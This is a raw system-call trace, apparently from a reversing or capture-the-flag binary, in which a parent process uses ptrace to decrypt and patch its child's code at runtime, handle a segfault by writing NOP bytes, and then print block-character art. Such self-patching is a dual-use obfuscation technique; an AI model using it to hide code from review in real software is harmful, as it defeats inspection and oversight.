ptrace(PTRACE_PEEKTEXT, 482327, 0x4020e7, [0x43655b735229ed67]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020e7, 0xec4583ffffff4085) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020ef, [0xa6def924ea0759d8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020ef, 0xc7e77e1aec7d8301) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020f7, [0x29410702b5b2ba34]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020f7, 0x45c700000000ac45) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020ff, [0x51ce926d07a1d671]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020ff, 0xe84beb0000001ae8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402107, [0xc4d0e52798d11638]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402107, 0xe87df799000039f5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40210f, [0xe48ac8a395a46553]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40210f, 0xbc458901c083d089) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402117, [0x9d18845dc1c1f02e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402117, 0x85848b9848e8458b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40211f, [0xb022298f2e55d63c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40211f, 0x8bb84589ffffff40) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402127, [0xf64ee3197ffb4243]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402127, 0x4085948b9848bc45) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40212f, [0x34694216570a22d6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40212f, 0x9848e8458bffffff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402137, [0x3b632cda4e09a4ea]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402137, 0x8bffffff40859489) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40213f, [0xb0e9c1a0342c48a8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40213f, 0x89b8558b9848bc45) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402147, [0x7bbbeea188695b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402147, 0x6d83ffffff408594) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40214f, [0x1ea79a33dc3a2d0a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40214f, 0xaf7f01e87d8301e8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402157, [0x8c2eb5486184bace]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402157, 0x5100ff2c8458b48) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40215f, [0xeb63d10faebb1e69]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40215f, 0x110ff200012edd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402167, [0xafc19d9566468ab7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402167, 0xc0ef0f66c8458b48) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40216f, [0xaa24f203797092cf]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40216f, 0x58d480840110ff2) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402177, [0xf217b86bd657b975]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402177, 0xe8c7894800012dac) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40217f, [0x123f770932330af0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40217f, 0xa9058d48000047ad) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402187, [0x514e2a56c63d92f9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402187, 0x9ee8c7894800012d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40218f, [0xfbf0cfd8e0f8fb22]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40218f, 0x1e445c7000047) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402197, [0xe710573ac1dd1ac4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402197, 0x8b000000a2e90000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40219f, [0x8d84ab7aa15844fb]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40219f, 0x4e0c1489848e445) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021a7, [0x2696ab8aeecbd500]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021a7, 0x48c8458b48c28948) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021af, [0x9c373de853a3ecc8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021af, 0xb8021c8d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021b7, [0x1ff49b1f1d8044a9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021b7, 0xf4866fffffc99e8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021bf, [0xe1f4e2c5e9da6349]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021bf, 0x8948c1280f66c07e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021c7, [0xf82afebe20a251b7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021c7, 0x458b0843110ff203) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021cf, [0xfc114ef1048e83f5]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021cf, 0x4804e0c1489848e4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021d7, [0x4fb12051ca20b5be]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021d7, 0x148c8458b48c289) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021df, [0xf5ba8f2800511b6a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021df, 0x458b0840100ff2d0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021e7, [0xfc114ef1048e83f5]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021e7, 0x4804e0c1489848e4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021ef, [0x4fb12051ca20b5be]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021ef, 0x148c8458b48c289) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021f7, [0x6b4e71fba096af2a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021f7, 0x48e4458b108b48d0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021ff, [0x3d774c95d1327103]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021ff, 0xffffff4085848b98) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402207, [0xe4797e99e42b9b93]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402207, 0xc50c8d48c089) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40220f, [0xe92efbb1204360ad]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40220f, 0x16e08058d480000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402217, [0xe0cc45d43ffe4955]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402217, 0x280f6601048b4800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40221f, [0x4e5728659423e7ed]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40221f, 0x8948c26e0f4866c8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402227, [0x1091bbdd3677af42]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402227, 0x12d1c058d48c6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40222f, [0xa5b9b9c4f3b6996]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40222f, 0x2b8c78948) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402237, [0xc70af9004e01093b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402237, 0xe4458300004624e8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40223f, [0xfb9f6429cea91090]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40223f, 0x548e0f1ae47d8301) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402247, [0x990edaa0c7f5c3e0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402247, 0x2d0c058d48ffffff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40224f, [0x7d71236d0e450943]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40224f, 0x46d7e8c789480001) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402257, [0x1fe6483f274d8fe9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402257, 0xe045c70000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40225f, [0x19439c6d4b86981a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40225f, 0x458b0000008be900) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402267, [0x6f6dd25acaf5d3b4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402267, 0x2cf9058d48c689e0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40226f, [0xff089fa7ebfb330e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40226f, 0xb8c789480001) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402277, [0x99405c363f41948d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402277, 0x8b000045e2e80000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40227f, [0x77a26e4325ecbdfc]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40227f, 0x5100ff29848e045) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402287, [0x7ff09396dc99e269]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402287, 0x84110ff200012dbd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40228f, [0x4e72cb4b9c75c2d2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40228f, 0x858d48fffff3d0c5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402297, [0x613297b16fbb7586]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402297, 0x48e0558bfffff3d0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40229f, [0x6ae453f0ed23c5b2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40229f, 0x8d4803e2c148d263) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022a7, [0xec63bf4d0ef77ab7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022a7, 0xfff4b0b58d48100c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022af, [0xc07d38d7d34da0e9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022af, 0x48d06348e0458bff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022b7, [0x4cc33f718f0717fa]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022b7, 0x14802e0c148d089) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022bf, [0xa53d589b980d1a3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022bf, 0x85148d48d0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022c7, [0xd4e18166715444b1]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022c7, 0x2e0c148d0014800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022cf, [0xd8d5a13cfb4aeb68]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022cf, 0x8948ca8948f00148) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022d7, [0xfbdcce125b54efc]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022d7, 0x12c90058d48c6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022df, [0x95dfad7399ceae66]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022df, 0xb8c78948) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022e7, [0x1d0522363dca587a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022e7, 0xe0458300004704e8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022ef, [0x589f1a4a2d2132da]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022ef, 0x6b8e0f1ae07d8301) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022f7, [0xe9e83385fa20c6e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022f7, 0x48c8458b48ffffff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022ff, [0x2e9668e449233256]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022ff, 0x48000009e3e8c789) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402307, [0x8650b355dea90110]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402307, 0xf2c0ef0f66c04589) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40230f, [0x83a4ebebe332d543]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40230f, 0x1d745c6d845110f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402317, [0xe7974ad1fccdd5a6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402317, 0xe900000000d045c7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40231f, [0x9246954849cc1df8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40231f, 0x48d0458b0000011d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402327, [0x9d7299c6e230c8e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402327, 0x85148d4898) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40232f, [0xddd05c33d0a8c7fa]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40232f, 0xd00148c0458b4800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402337, [0xda2d90b7f12fec50]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402337, 0x4085848bc089008b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40233f, [0x64955b6a46c2c80]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40233f, 0x148d48c089ffffff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402347, [0xff3d6f930b1d9b2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402347, 0x58d4800000000c5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40234f, [0x97f67eabbe4ae44]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40234f, 0x20c8b4800016ccd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402357, [0xfab5ca90ac37917c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402357, 0x8bfffff4b0b58d48) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40235f, [0x46ff93a0a498b01]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40235f, 0xd08948d06348d045) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402367, [0x55c8534d7c02d410]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402367, 0x48d0014802e0c148) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40236f, [0x6b8f55fa69b023c3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40236f, 0x480000000085148d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402377, [0x13984dc683ce761d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402377, 0x14802e0c148d001) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40237f, [0xb0da21c512c52e9f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40237f, 0x894800000063baf0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402387, [0x4679afca1d1bd5a1]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402387, 0x7330e8c78948ce) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40238f, [0xeec82408be0332e1]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40238f, 0xd0458b2775c08500) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402397, [0x145667b3f9a7daa6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402397, 0xf3d0c5848b489848) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40239f, [0x6f5ceb9a3fb1311b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40239f, 0x66d845100ff2ffff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023a7, [0xdad5f6f3babb6dfd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023a7, 0xc06e0f4866c8280f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023af, [0x434271a8f0d20450]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023af, 0x1f083fffffbafe8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023b7, [0xc933ab6f8c72f429]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023b7, 0xd745c60474c084) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023bf, [0x305c2ad70dc9fd63]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023bf, 0xc083489848d0458b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023c7, [0x7b85293506817eda]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023c7, 0x85148d4801) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023cf, [0xddd05c33d0a8c7fa]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023cf, 0xd00148c0458b4800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023d7, [0x58d1e5baff9b706d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023d7, 0x4e0c148c089008b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023df, [0x2696ab8aeecbd500]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023df, 0x48c8458b48c28948) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023e7, [0x4c1f406b719ddebd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023e7, 0x489848d0458bc201) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023ef, [0xcd7f99513f4b4cc4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023ef, 0x4800000000850c8d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023f7, [0xcf9466fa7c106474]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023f7, 0x8bc80148c0458b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023ff, [0x3ecbb4afa1b476b4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023ff, 0x894804e0c148c089) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402407, [0xd89db3a695c126f3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402407, 0xc80148c8458b48c1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40240f, [0xa477e613f675b424]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40240f, 0x42100ff212100ff2) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402417, [0xd0e4b213f7cf5d48]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402417, 0x48100ff2108b4808) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40241f, [0x3cbf46fde9fb7203]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40241f, 0xf4866d8280f6608) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402427, [0x80a4d6d212c0b07e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402427, 0xf2000004b8e8c26e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40242f, [0xea058915b8957679]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40242f, 0xc1580ff2d84d100f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402437, [0x9f55cbe150a41ae3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402437, 0xd04583d845110ff2) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40243f, [0x2accccce7dcd922f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40243f, 0xd98e0f1ad07d8301) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402447, [0x7fa2b02a031c1ac6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402447, 0x83d745b60ffffffe) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40244f, [0xd427644c52efe803]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40244f, 0x8d481974c08401f0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402457, [0xb774fb8acee2206b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402457, 0xc7894800012b2605) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40245f, [0xf85c213b3281a8a6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40245f, 0x1bf000044cce8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402467, [0xd1ef4d2ecb540acb]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402467, 0x48ffffeba2e80000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40246f, [0x4c90cb33fa284edf]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40246f, 0x894800012b1b058d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402477, [0xc222d2d07e33a086]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402477, 0xbf000044b3e8c7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40247f, [0xb9fc6081df542991]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40247f, 0xffffeb89e8000000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402487, [0x5d076fea300a0ebd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402487, 0x90983666b20e301c) = 0
nanosleep({tv_sec=0, tv_nsec=10000000}, 0x7ffec89cdf30) = 0
ptrace(PTRACE_SETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce1f0, rbx=0x1, r11=0x246, r10=0x410, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x40207f, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5c0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_CONT, 482327, NULL, 0)    = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=482327, si_uid=1000, si_status=SIGSEGV, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGSEGV}], 0, NULL) = 482327
ptrace(PTRACE_GETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89cd5b0, rbx=0x1, r11=0x246, r10=0x18, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x401e1c, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5b0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x401e1f, [0x6262626261616161]) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x401e27, [0x6464646463636363]) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e1c, [0x6261616161008a67]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e1c, 0x6261616161008a90) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e1d, [0x626261616161008a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e1d, 0x6262616161610090) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e1e, [0x6262626161616100]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e1e, 0x6262626161616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e1f, [0x6262626261616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e1f, 0x6262626261616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e20, [0x6362626262616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e20, 0x6362626262616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e21, [0x6363626262626161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e21, 0x6363626262626190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e22, [0x6363636262626261]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e22, 0x6363636262626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e23, [0x6363636362626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e23, 0x6363636362626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e24, [0x6463636363626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e24, 0x6463636363626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e25, [0x6464636363636262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e25, 0x6464636363636290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e26, [0x6464646363636362]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e26, 0x6464646363636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e27, [0x6464646463636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e27, 0x6464646463636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e28, [0x64646464636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e28, 0x64646464636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e29, [0x7000646464646363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e29, 0x7000646464646390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e2a, [0xc870006464646463]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e2a, 0xc870006464646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e2b, [0x7ec8700064646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e2b, 0x7ec8700064646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e2c, [0xbd7ec87000646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e2c, 0xbd7ec87000646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e2d, [0x74bd7ec870006464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e2d, 0x74bd7ec870006490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x401e2e, [0x8874bd7ec8700064]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e2e, 0x8874bd7ec8700090) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x401e2f, [0x6b8874bd7ec87000]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e2f, 0x480000f21a058d48) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x401e37, [0xb8d4a88cf648dd53]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e37, 0x9000004af2e8c789) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x401e3f, [0xb90e0c73a7284300]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x401e3f, 0xc35d) = 0
nanosleep({tv_sec=0, tv_nsec=10000000}, 0x7ffec89cdf30) = 0
ptrace(PTRACE_SETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89cd5b0, rbx=0x1, r11=0x246, r10=0x18, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x401e2f, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5b0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_CONT, 482327, NULL, 0)    = 0
                       ▄▄
                   ▄▄▄▄▄▄▄▄▄▄
                   ▀▀▄▄▄▄▄▄▄▀
                     ▄▄▄▄▄▄
                     ▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄▄
                  ▄▄▄▄▄▄▄▄▄▄▄▄
                ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                 ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
              ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄
            ▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄
        ▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▀
